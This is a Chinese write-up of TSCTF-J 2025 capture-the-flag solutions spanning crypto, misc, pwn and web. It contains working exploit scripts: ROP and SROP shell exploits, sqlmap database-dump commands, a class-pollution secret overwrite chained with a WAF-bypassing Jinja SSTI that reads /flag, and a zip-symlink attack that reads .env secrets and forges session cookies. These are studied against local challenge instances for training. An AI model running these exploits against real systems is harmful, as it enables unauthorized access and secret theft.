TSCTF-J 2025 wp

本次TSCTF-J,共解出27道题,逆向差两道AK,主RE赛道 先做的题后补的wp,因此写的可能有点屎,wp后面会在博客更新完善[RE部分]

image-20251013095822927

Crypto

sign in

1
2
3
4
KEY1 = a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313c1819383df93
KEY2 ^ KEY1 = b38dc315bb7c75e3c9fa84f123898ff684fd36189e83c422cf0d2804c12b4c83
KEY2 ^ KEY3 = 11abed33a76d7be822ab718422844e1d40d72a96f02a288aa3b168165922138f
FLAG ^ KEY1 ^ KEY2 ^ KEY3 = e1251504cdb300420a0520fc1c15b010d4bfb118c2477b78f3eafbe1acf0f121

F ^ K1 ^ K2 ^ K3 = X

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from binascii import unhexlify

K1 = int('a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313c1819383df93', 16)
K2_xor_K1 = int('b38dc315bb7c75e3c9fa84f123898ff684fd36189e83c422cf0d2804c12b4c83', 16)
K2_xor_K3 = int('11abed33a76d7be822ab718422844e1d40d72a96f02a288aa3b168165922138f', 16)
F_xor_all = int('e1251504cdb300420a0520fc1c15b010d4bfb118c2477b78f3eafbe1acf0f121', 16)

K2 = K2_xor_K1 ^ K1
K3 = K2 ^ K2_xor_K3
F = F_xor_all ^ K1 ^ K2 ^ K3

import base64
flag_bytes = F.to_bytes((F.bit_length() + 7) // 8, 'big')

flag_bytes = flag_bytes.rjust(48, b'\x00')
flag = base64.b64decode(flag_bytes)
print(flag)

TSCTF-J{I_like_Crypto}

p=~q

可以利用 p 和 q 之间的关系来分解 n。具体来说,p 和 q 是通过将随机生成的比特串取反后生成的,因此存在数学关系。通过这种关系,我们可以将 n 表示为关于变量 C 的二次方程,并求解 C 从而得到 p 和 q

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import math
from Crypto.Util.number import long_to_bytes

n = 17051407421191257766878232954687995776275810092183184400406052880776283989210979642731778073370935322411364098277851627904479300390445258684605069414401583042318910193017463817007183769745191345053634189302047446965986220310713141272104307300803560476507359063543147558286276881771260972717080160544078251002420560031692800880310702557545555020333582797788637377901506395695115351043959528307703535156759957098992921231240480724115372547821536358993064005667175508572424424498140029596238691489470392031290179060300593482514446687661068760457021164559923920591924277937814270216802997593891640228684835585559706493543
c = 6853848340403815994585475502319517119889957571722212403728096345969080424626781659085329098693249503884838912886399198433606071464349852827030377680456139046436386063565577131001152891176064224036780277315958771309063181054101040906120879494157473100295607616604515810676954786850526056316144848921849017030095717895244910724234927693999607754055953250981051858498499963202512464388765761597435963200846457903991924487952495202449073962133164877330289865956477568456497103568127103331224273528931042804794039714404647322385366048042459109584024130199496106946124782839099804356052016687352504438568019898976023369460
e = 65537

A = 2**1023
D = 9 * A * A - 4 * n
root = math.isqrt(D)

if root * root == D:
C1 = (A - root) // 2
p1 = A + C1
q1 = 2 * A - C1
if p1 * q1 == n:
p, q = p1, q1
else:
C2 = (A + root) // 2
p2 = A + C2
q2 = 2 * A - C2
if p2 * q2 == n:
p, q = p2, q2
else:
raise ValueError("无法分解 n")
else:
raise ValueError("D 不是完全平方数")

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag.decode())

TSCTF-J{The_easiest_RSA_key!}

Cantor’s gifts

排列编码逆运算题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from math import factorial

X = 2498752981111460725490082182453813672840574
now_message = b'5__r0tfg5f_34rtm__t_0ury0hft0t3n11c_t'

n = len(now_message)

# 1) turn X into Lehmer digits
a = []
rem = X
for i in range(n):
f = factorial(n - i - 1)
a_i = rem // f
a.append(a_i)
rem = rem % f

# 2) Lehmer -> permutation (values 1..n)
available = list(range(1, n+1))
reflection = []
for a_i in a:
reflection.append(available.pop(a_i))

# 3) undo permutation: now_message[k] = message[reflection[k]-1]
msg = [None] * n
for k, r in enumerate(reflection):
msg[r-1] = now_message[k:k+1] # single byte
message = b''.join(msg)

print("message =", message.decode())
print("flag =", b"TSCTF-J{" + message + b"}".decode())

image-20251013100932768

野狐禅

题目给的 Paillier 密文里写入随机数是用 LCG 生成的,而且原始 LCG 输出值也附在文件里;利用这些值,可以把 Paillier 的随机掩码去掉,直接还原出 150 个明文序列项 y。

y 实际上是一个线性递推序列,前 75 项就是 flag 按三进制拆分后的系数,后 75 项是用这些系数递推出来的结果。把递推方程在模一个大素数下写成线性方程组,就可以通过高斯消元解出 75 个未知系数。

得到的 75 个系数就是 flag 的三进制数字。把它们按照低位在前的顺序拼回去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from Crypto.Util.number import long_to_bytes

MOD = 1_000_003 # large prime, works for Gaussian elimination

def solve_gauss_mod(mat, rhs, mod):
n = len(mat)
aug = [row[:] + [rhs[i] % mod] for i, row in enumerate(mat)]
row = 0
for col in range(n):
pivot = next((r for r in range(row, n) if aug[r][col] % mod), None)
if pivot is None:
continue
aug[row], aug[pivot] = aug[pivot], aug[row]
inv = pow(aug[row][col], -1, mod)
aug[row] = [(val * inv) % mod for val in aug[row]]
for r in range(n):
if r != row and aug[r][col] % mod:
factor = aug[r][col] % mod
aug[r] = [(aug[r][c] - factor * aug[row][c]) % mod for c in range(n + 1)]
row += 1
sol = [0] * n
for r in range(n):
leading = next((c for c in range(n) if aug[r][c] % mod), None)
if leading is not None:
sol[leading] = aug[r][-1] % mod
return sol

with open("challenge.txt") as f:
lines = [line.strip() for line in f if line.strip()]

n = int(lines[0].split(": ")[1])
k = int(lines[2].split(": ")[1])
vals = list(map(int, lines[4:]))

ciphertexts = vals[:2 * k]
raws = vals[2 * k:]
n2 = n * n

y = []
for c, raw in zip(ciphertexts, raws):
r = raw % n
rn = pow(r, n, n2)
gm = (c * pow(rn, -1, n2)) % n2
y.append((gm - 1) // n)

mat, rhs = [], []
for i in range(k):
mat.append([y[i + k - 1 - j] % MOD for j in range(k)])
rhs.append(y[k + i] % MOD)

coeffs = solve_gauss_mod(mat, rhs, MOD)
value = sum(d * pow(3, i) for i, d in enumerate(coeffs))
flag = long_to_bytes(value)
print(flag.decode())

TSCTF-J{We_sh0u1d_kn0w!}

Microsoft’s gifts

deepseek立大功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
from Crypto.Util.number import inverse

# secp256r1曲线参数
p = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551

class EllipticCurve:
def __init__(self, a: int, b: int, p: int, g: tuple, name: str = "secp256r1"):
self.a = a
self.b = b
self.p = p
self.g = g
self.name = name

def is_on_curve(self, point: tuple) -> bool:
if point is None:
return True
x, y = point
return (y * y - x * x * x - self.a * x - self.b) % self.p == 0

def add(self, p1: tuple, p2: tuple) -> tuple:
if p1 is None:
return p2
if p2 is None:
return p1
x1, y1 = p1
x2, y2 = p2
if x1 == x2 and y1 != y2:
return None
if x1 == x2:
m = (3 * x1 * x1 + self.a) * inverse(2 * y1, self.p)
else:
m = (y1 - y2) * inverse(x1 - x2, self.p)
m %= self.p
x3 = (m * m - x1 - x2) % self.p
y3 = (y1 + m * (x3 - x1)) % self.p
y3 = (-y3) % self.p
return (x3, y3)

def multiply(self, k: int, point: tuple) -> tuple:
if point is None:
return None
if k < 0:
return self.multiply(-k, self.negate(point))
result = None
addend = point
while k:
if k & 1:
result = self.add(result, addend)
addend = self.add(addend, addend)
k >>= 1
return result

def negate(self, point: tuple) -> tuple:
if point is None:
return None
x, y = point
return (x, (-y) % self.p)

def main():
# 连接到题目服务
r = remote('127.0.0.1', 61018)

# 接收公钥
r.recvuntil(b'public key is ')
pub_str = r.recvline().decode().strip()
print(f"Received public key: {pub_str}")

# 解析公钥 - 处理带引号的十六进制字符串
pub_str = pub_str.replace('(', '').replace(')', '').replace("'", "").replace(" ", "")
x_str, y_str = pub_str.split(',')
x_p = int(x_str, 16)
y_p = int(y_str, 16)
public_key = (x_p, y_p)
print(f"Parsed public key: ({hex(x_p)}, {hex(y_p)})")

# 创建曲线对象
curve = EllipticCurve(a, b, p, None)

# 计算2的逆元 (mod n)
inv2 = inverse(2, n)
print(f"inverse of 2 mod n: {hex(inv2)}")

# 计算公钥的一半作为新的基点G
G_half = curve.multiply(inv2, public_key)
print(f"New base point G: ({hex(G_half[0])}, {hex(G_half[1])})")

# 验证新基点是否在曲线上
if curve.is_on_curve(G_half):
print("New base point is on curve ✓")
else:
print("ERROR: New base point is not on curve!")
return

# 发送曲线参数
r.recvuntil(b'Tell me your curve now: [p, a, b]')
r.sendline(f'[{p}, {a}, {b}]'.encode())
print("Sent curve parameters")

# 发送基点G
r.recvuntil(b'Tell me your g which is on the curve: [gx, gy]')
r.sendline(f'[{G_half[0]}, {G_half[1]}]'.encode())
print("Sent base point G")

# 发送私钥
r.recvuntil(b'Tell me your private_key: key')
r.sendline(b'2')
print("Sent private key: 2")

# 接收结果
result = r.recvline().decode()
print(f"Result: {result}")

# 尝试接收更多输出(比如flag)
try:
while True:
line = r.recvline(timeout=2).decode()
print(line)
except:
pass

r.close()

if __name__ == '__main__':
main()

image-20251013101730857

TSCTF-J{Microsoft-CVE-2020-0601}

MISC

调查问卷

TSCTF-J{Th4nk5_F0r_Y0ur_4ttend1n9}

卢森堡的秘密

图片binwalk -e secret.png 发现有zip

提出来的时候失败了

万能的AI给了个神奇的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import struct, zlib

w, h, bpp = 1920, 1607, 3


def paeth(a, b, c):
p = a + b - c
pa, pb, pc = abs(p - a), abs(p - b), abs(p - c)
if pa <= pb and pa <= pc:
return a
if pb <= pc:
return b
return c


with open("secret.png", "rb") as f:
assert f.read(8) == b"\x89PNG\r\n\x1a\n"
idat = b""
while True:
length, ctype = struct.unpack(">I4s", f.read(8))
data, crc = f.read(length), f.read(4)
if ctype == b"IDAT":
idat += data
elif ctype == b"IEND":
break

raw = zlib.decompress(idat)
stride, prev, pixels, off = w * bpp, [0] * (w * bpp), [], 0
for _ in range(h):
ftype = raw[off]
row = bytearray(raw[off + 1:off + 1 + stride])
if ftype == 1:
for i in range(stride):
row[i] = (row[i] + (row[i - bpp] if i >= bpp else 0)) & 0xFF
elif ftype == 2:
for i in range(stride):
row[i] = (row[i] + prev[i]) & 0xFF
elif ftype == 3:
for i in range(stride):
left = row[i - bpp] if i >= bpp else 0
up = prev[i]
row[i] = (row[i] + ((left + up) >> 1)) & 0xFF
elif ftype == 4:
for i in range(stride):
left = row[i - bpp] if i >= bpp else 0
up = prev[i]
up_left = prev[i - bpp] if i >= bpp else 0
row[i] = (row[i] + paeth(left, up, up_left)) & 0xFF
pixels.extend(row)
prev, off = list(row), off + stride + 1

bits = [p & 1 for p in pixels]
msg = bytearray()
for i in range(0, len(bits), 8):
byte = 0
chunk = bits[i:i + 8]
if len(chunk) < 8:
break
for b in chunk:
byte = (byte << 1) | b
if byte == 0:
break
msg.append(byte)

print(msg.decode())

TSCTF-J{Th3_sEcre7_0f_L$B!}

Meow

解压meow.zip得到xml里面有base64码表

image-20251011183403149

TSCTF-J{1_Am_4_CaT_MeowMe0w!!!}

Pwn

ret

超级入门题,直接ret2backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

# context(log_level='debug', arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')
# pwnfile = '../toolcode/libc-2.23.so'

io = remote('127.0.0.1', 50262)
# libc = ELF('../toolcode/libc-2.23.so')
# rop = ROP(pwnfile)

padding = 0x10 + 0x8
io.recvuntil(b"sign-in!")
payload = b'a' * padding + p64(0x400676)
io.sendline(payload)
io.interactive()

image-20251011140426789

pop

利用溢出打pop ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
import os
from subprocess import PIPE
from pwn import *

os.environ.setdefault("PWNLIB_CACHE_DIR", "./.pwncache")
os.makedirs("./.pwncache", exist_ok=True)
context.cache_dir = "./.pwncache"

context.binary = ELF("./pwn")
libc = ELF("./libc-2.23.so")

HOST, PORT = "127.0.0.1", 58982

POP_RDI_RET = 0x400713
RET = 0x4004c9
PUTS_PLT = context.binary.plt["puts"]
PUTS_GOT = context.binary.got["puts"]
MAIN = context.binary.symbols["main"]

OFFSET = 0x18

def start():
return remote(HOST, PORT)

def leak_libc(p):
payload = flat(
b"A" * OFFSET,
POP_RDI_RET,
PUTS_GOT,
PUTS_PLT,
MAIN,
)

p.sendlineafter(b"No backdoors this time!\n", payload)
leak_line = p.recvline().rstrip(b"\n")
leak_line += b"\x00" * (8 - len(leak_line))
leak_addr = u64(leak_line)
libc_base = leak_addr - libc.symbols["puts"]

log.success(f"Leaked puts@GLIBC: {hex(leak_addr)}")
log.success(f"Computed libc base: {hex(libc_base)}")

return libc_base


def pwn():
p = start()

libc_base = leak_libc(p)

system = libc_base + libc.symbols["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))

log.info(f"system @ {hex(system)}")
log.info(f"'/bin/sh' @ {hex(bin_sh)}")

payload = flat(
b"A" * OFFSET,
RET,
POP_RDI_RET,
bin_sh,
system,
)

p.sendlineafter(b"No backdoors this time!\n", payload)
p.interactive()


if __name__ == "__main__":
pwn()

image-20251011140719018

Easy-syscall

打SROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("./pwn", checksec=False)
context.arch = "amd64"
context.os = "linux"

def build_payload() -> bytes:
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = next(elf.search(b"/bin/sh\x00"))
frame.rsi = 0
frame.rdx = 0
frame.rsp = elf.bss() + 0x800
frame.rip = elf.sym["magic"] + 0xF

frame_bytes = bytes(frame)

return b"".join(
[
b"A" * 48,
frame_bytes[:8],
p64(elf.sym["magic"]),
frame_bytes[8:],
]
)

def connect():
if args.LOCAL:
return process(elf.path, stdin=PIPE, stdout=PIPE)
host = args.HOST or "127.0.0.1"
port = int(args.PORT or 57192)
return remote(host, port)


def main():
io = connect()
io.recvuntil(b"hidden here...\n")
io.send(build_payload())
io.interactive()

if __name__ == "__main__":
main()

image-20251011141020356

Web

EZ_SQL

sqlmap一把梭

1
2
3
4
python sqlmap.py -u "http://127.0.0.1:61945/" --data="id=2" -p id --batch --random-agent --threads=5 --level=3 --risk=2 --dbs --banner --current-user
python sqlmap.py -u "http://127.0.0.1:61945/" --data="id=2" -p id -D welcome --tables --batch --union-cols=3
python sqlmap.py -u "http://127.0.0.1:61945/" --data="id=2" -p id -D welcome -T flag --columns --batch --union-cols=3
python sqlmap.py -u "http://127.0.0.1:61945/" --data="id=2" -p id -D welcome -T flag --dump --batch --union-cols=3

image-20251011141705666

image-20251011141757578

image-20251011141935919

EZ_Login(签到)

密码是simple 弱密码爆破

本地管理员要求xff 127.0.0.1

进去后解码 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJmbGFnIjoiVFNDVEYtSnt3MzFjMG0zXzcwXzdoM193MzhfajB1cm4zeX0ifQ.

1
TSCTF-J{w31c0m3_70_7h3_w38_j0urn3y}

Druid

访问127.0.0.1:druid/v2/sql

密码也是admin

image-20251011144836197

EZ_PY

提示source

1
http://127.0.0.1:58379/source

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import random
import string
from flask import Flask, request, jsonify, render_template_string
from functools import wraps
import jwt

app = Flask(__name__)
app.config['SECRET_KEY'] = ''.join(random.sample(string.ascii_letters + string.digits, 24))

# 用户数据库
users = {
"c1432": "123456"
}


def make_response(message: str, code: int = 200, data=None):
"""Unified response format"""
resp = {'message': message}
if data is not None:
resp['data'] = data
return jsonify(resp), code


def waf_filter(input_str):
if not input_str:
return input_str
input_str = str(input_str)
dangerous_strings = [
'class', 'bases', 'subclasses', 'mro', 'globals', 'builtins',
'import', 'eval', 'exec', 'open', 'file', 'read', 'write',
'os', 'subprocess', 'config', 'request', 'session', 'g',
'url_for', 'get_flashed_messages',
'{%', '%}', '{#', '#}', '{{', '}}'
]
for string in dangerous_strings:
if string in input_str:
return "WAF blocked: Dangerous pattern detected"

filtered = input_str.replace('', '')
filtered = filtered.replace('javascript:', '')
filtered = filtered.replace('onload=', '')
filtered = filtered.replace('onerror=', '')
if "hello" in filtered:
filtered = filtered.replace("hello", "{{")
if "hacker" in filtered:
filtered = filtered.replace("hacker", "}}")
return filtered


class User:
def __init__(self, role='user'):
self.username = None
self.password = None
self.role = role


def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


def token_required(f):
@wraps(f)
def decorated(*args, **kwargs):
token = request.headers.get('Authorization')
if not token:
return make_response('Authorization token is required.', 401)
try:
token = token.split(" ")[1] # 提取令牌,假设格式为 'Bearer <token>'
data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])
current_user = data['user']
role = data['role']
except Exception as e:
return make_response(f'Invalid token: {str(e)}', 401)
return f(current_user, role, *args, **kwargs)
return decorated


@app.route('/register', methods=['POST'])
def register():
data = request.json
if not data:
return make_response('Username and password are required.', 400)
user = User()
merge(data, user)
if not user.username or not user.password:
return make_response('Username and password are required.', 400)
users[user.username] = user.password
return make_response('Registration successful.', 201)


@app.route('/login', methods=['POST'])
def login():
auth = request.json
if not auth:
return make_response('Username and password are required.', 400)
username = auth.get('username')
password = auth.get('password')
if not username or not password:
return make_response('Username and password are required.', 400)
if users.get(username) != password:
return make_response('Invalid username or password.', 401)
token = jwt.encode(
{'user': username, 'role': 'user'},
app.config['SECRET_KEY'],
algorithm="HS256"
)
return jsonify({'token': token})


@app.route('/protected', methods=['GET'])
@token_required
def protected(current_user, role):
if role != 'admin':
return make_response(
f'Access denied: User {current_user} ({role}) does not have sufficient privileges.',
403
)
filtered_user = waf_filter(current_user)
return render_template_string(
f"Hello, {filtered_user}! You have access to this protected resource."
)


@app.route('/')
def index():
with open('source/index.html', 'r', encoding='utf-8') as f:
return f.read()


@app.route('/register')
def register_page():
with open('source/register.html', 'r', encoding='utf-8') as f:
return f.read()


@app.route('/success')
def success_page():
with open('source/success.html', 'r', encoding='utf-8') as f:
return f.read()


@app.route('/source')
def show_source():
with open(__file__, 'r', encoding='utf-8') as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0')

merge 在 register 请求体上递归地对 User 对象和其类做任意属性赋值,可以一路改写 User.init_.globals[‘app’].config[‘SECRET_KEY’],从而把随机密钥换成指定的值;之后就能自己签发 JWT。

waf_filter 只做字符串替换,hello→,其黑名单又可以用字符串拼接和 %c 生成函数绕过,因此可以把用户名字段变成任意 Jinja 表达式并触发 SSTI

先把密钥改成已知值如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"username": "attacker",
"password": "pass",
"__class__": {
"__init__": {
"__globals__": {
"app": {
"config": {
"SECRET_KEY": "mysecret"
}
}
}
}
}
1
2
3
新密钥签一个 role 为 admin 的 JWT,并把 user 字段写成绕过 WAF 的模板表达式。示例载荷会把 __globals__、__builtins__、open、read、flag 等关键字拆成字符串拼接与 %c 生成,从而读取 /flag
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaGVsbG8gKCgobGlwc3VtfGF0dHIoJ19fJyB-ICgnJWMnJTEwMykgfiAnbG9iYWxzX18nKSlbJ19fYnVpbCcgfiAndGluc19fJ11bJ28nIH4gJ3BlbiddKCcvJyB-ICdmbGEnIH4gKCclYyclMTAzKSkpfGF0dHIoJ3JlJyB-
ICdhZCcpKCkpIGhhY2tlciIsInJvbGUiOiJhZG1pbiJ9.scA4Rp1MLiXDPPu-ye8xGkgaBtC-HTJ2iILqY7mKoVQ

这里 hello … hacker 在过滤后会变成 ,表达式利用 lipsum 的全局字典拿到 open(‘/fla’ ~ ‘%c’%103) 并调用 read()。携带该令牌访问受保护接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import base64
import hashlib
import hmac
import json

import requests

BASE_URL = "http://127.0.0.1:58379"
SECRET = "mysecret"

def b64url(data: bytes) -> bytes:
return base64.urlsafe_b64encode(data).rstrip(b"=")

# 伪造带有 SSTI 载荷的管理员 JWT
def craft_token(secret: str) -> str:
header = {"alg": "HS256", "typ": "JWT"}
# 利用 hello/hacker 的替换逻辑,将表达式包裹成 {{ ... }} 并读取 /flag
ssti_payload = (
"hello (((lipsum|attr('__' ~ ('%c'%103) ~ 'lobals__'))['__buil' ~ 'tins__']"
"['o' ~ 'pen']('/' ~ 'fla' ~ ('%c'%103)))|attr('re' ~ 'ad')()) hacker"
)
body = {"user": ssti_payload, "role": "admin"}

header_b64 = b64url(json.dumps(header, separators=(",", ":")).encode())
body_b64 = b64url(json.dumps(body, separators=(",", ":")).encode())
signing_input = header_b64 + b"." + body_b64
signature = b64url(hmac.new(secret.encode(), signing_input, hashlib.sha256).digest())
return (signing_input + b"." + signature).decode()

# 滥用 merge 合并漏洞覆盖 Flask SECRET_KEY
def poison_secret(base_url: str, new_secret: str) -> None:
payload = {
"username": "attacker",
"password": "pass",
"__class__": {
"__init__": {
"__globals__": {
"app": {
"config": {
"SECRET_KEY": new_secret,
}
}
}
}
},
}
session = requests.Session()
session.trust_env = False
resp = session.post(f"{base_url}/register", json=payload, proxies={"http": None, "https": None})
resp.raise_for_status()


def exploit(base_url: str, secret: str) -> str:
poison_secret(base_url, secret)
token = craft_token(secret)
session = requests.Session()
session.trust_env = False
headers = {"Authorization": f"Bearer {token}"}
resp = session.get(f"{base_url}/protected", headers=headers, proxies={"http": None, "https": None})
resp.raise_for_status()
return resp.text


def main() -> None:
try:
result = exploit(BASE_URL, SECRET)
print(result)
except requests.RequestException as exc:
raise SystemExit(f"failed: {exc}")


if __name__ == "__main__":
main()

image-20251013104959726

TSCTF-J{y0u_c0mp1373d_7h3_py_pr0813m}!

FileSystem

上传 ZIP 时使用系统 unzip,不会过滤符号链接,可在个人上传目录写入一个指向 / 的软链接(示例命名为 root),随后通过 /files/root/<路径> 访问宿主文件系统。

先访问 /files/root/app/.env 泄露 SESSION_SECRET,再读 /files/root/app/server.js 获取 store.set(‘…’) 中的开发者会话 UUID。

1
用 SESSION_SECRET 对该 UUID 计算 connect.sid(s:<uuid>.<HMAC>),设置此 cookie 并伪造请求头 X-Forwarded-For: 127.0.0.1,即可满足 developmentOnly 中“本地开发者”条件并访问 /debug/files。

/debug/files 接受外部传入的 sessionId,缺乏路径限制。传入 ../../../../.. 等遍历值即可列出真正的根目录,发现入口脚本随机生成的 8 位目录名。

最后再上传一个软链接(如 flag 指向 /<随机目录>/flag.txt),通过 /files/flag 成功读取 flag。

  1. 上传带有符号链接的 ZIP,读取 /app/.env 和 /app/server.js,获取 SESSION_SECRET 与开发者会话 UUID。
  2. 使用密钥伪造 connect.sid,访问 /debug/files 并目录穿越枚举根目录,确定随机 flag 目录。
  3. 再次上传指向 flag.txt 的符号链接,通过 /files/flag 直接获取 flag。

AI写脚本太强了 0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import base64
import hashlib
import hmac
import io
import re
import sys
import zipfile
from typing import Dict, List

import requests
BASE_URL = "http://127.0.0.1:56046"
ROOT_HEADERS = {"User-Agent": "solve.py"}


def build_zip(symlinks: Dict[str, str]) -> bytes:
"""构造包含符号链接的 ZIP 二进制数据。"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
for name, target in symlinks.items():
entry = zipfile.ZipInfo(name)
entry.create_system = 3 # 指定 *nix 平台,允许符号链接
entry.external_attr = 0o120777 << 16
zf.writestr(entry, target)
buf.seek(0)
return buf.getvalue()


def upload_zip(sess: requests.Session, mapping: Dict[str, str]) -> None:
"""上传符号链接 ZIP 到 /upload。"""
payload = build_zip(mapping)
files = {"zipfile": ("exploit.zip", payload, "application/zip")}
resp = sess.post(f"{BASE_URL}/upload", files=files, headers=ROOT_HEADERS, allow_redirects=False, timeout=10)
if resp.status_code != 302:
raise RuntimeError(f"上传 ZIP 失败,HTTP {resp.status_code}{resp.text[:200]}")


def fetch_named_file(sess: requests.Session, name: str) -> str:
"""通过 /files/<name> 读取文件内容。"""
resp = sess.get(f"{BASE_URL}/files/{name}", headers=ROOT_HEADERS, timeout=10)
if resp.status_code != 200:
raise RuntimeError(f"读取 {name} 失败,HTTP {resp.status_code}")
return resp.text


def sign_cookie(value: str, secret: str) -> str:
"""根据 express-session 规则签名 connect.sid。"""
mac = hmac.new(secret.encode(), value.encode(), hashlib.sha256).digest()
sig = base64.b64encode(mac).decode().rstrip("=")
return f"s:{value}.{sig}"


def debug_list(dev_sess: requests.Session, session_id: str) -> List[str]:
"""访问 /debug/files 并解析返回的文件名列表。"""
headers = dict(ROOT_HEADERS)
headers["X-Forwarded-For"] = "127.0.0.1"
params = {"sessionId": session_id}
resp = dev_sess.get(f"{BASE_URL}/debug/files", headers=headers, params=params, timeout=10)
if resp.status_code != 200:
raise RuntimeError(f"/debug/files 访问失败,HTTP {resp.status_code}{resp.text[:200]}")
return re.findall(r'<li class="list-group-item">\s*([^<\s]+)', resp.text)


def main() -> None:
print("[+] 步骤 0:初始化普通用户会话")
user = requests.Session()
user.get(BASE_URL + "/", headers=ROOT_HEADERS, timeout=10)

print("[+] 步骤 1:上传 env/server 符号链接 ZIP")
upload_zip(user, {"env": "/app/.env", "server": "/app/server.js"})

env_content = fetch_named_file(user, "env")
match_secret = re.search(r"SESSION_SECRET=(.+)", env_content)
if not match_secret:
raise RuntimeError("未能在 .env 中找到 SESSION_SECRET")
session_secret = match_secret.group(1).strip()
print(f"[+] SESSION_SECRET = {session_secret}")

server_js = fetch_named_file(user, "server")
match_dev = re.search(r"store\.set\('([^']+)'\s*,", server_js)
if not match_dev:
raise RuntimeError("未能在 server.js 中找到开发会话 UUID")
dev_session_id = match_dev.group(1)
print(f"[+] 开发者会话 UUID = {dev_session_id}")

print("[+] 步骤 2:伪造 connect.sid 并访问 /debug/files")
dev = requests.Session()
connect_sid = sign_cookie(dev_session_id, session_secret)
dev.cookies.set("connect.sid", connect_sid, domain="127.0.0.1", path="/")

root_entries = debug_list(dev, "../../../../..")
print(f"[+] 根目录条目:{root_entries}")

flag_dir = next((name for name in root_entries if re.fullmatch(r"[a-z0-9]{8}", name)), None)
if not flag_dir:
raise RuntimeError("未找到符合格式的 flag 目录名")
print(f"[+] Flag 目录 = /{flag_dir}")

print("[+] 步骤 3:上传指向 flag.txt 的符号链接并读取")
upload_zip(user, {"flag": f"/{flag_dir}/flag.txt"})
flag_content = fetch_named_file(user, "flag").strip()
print(f"[+] Flag = {flag_content}")


if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"[-] 运行失败:{exc}", file=sys.stderr)
sys.exit(1)

image-20251013105656157

TSCTF-J{@r3-yOu-a_SYMboIIC-LiNK-m4St3R?274e7a}

AI

JustReverse

AI逆向题

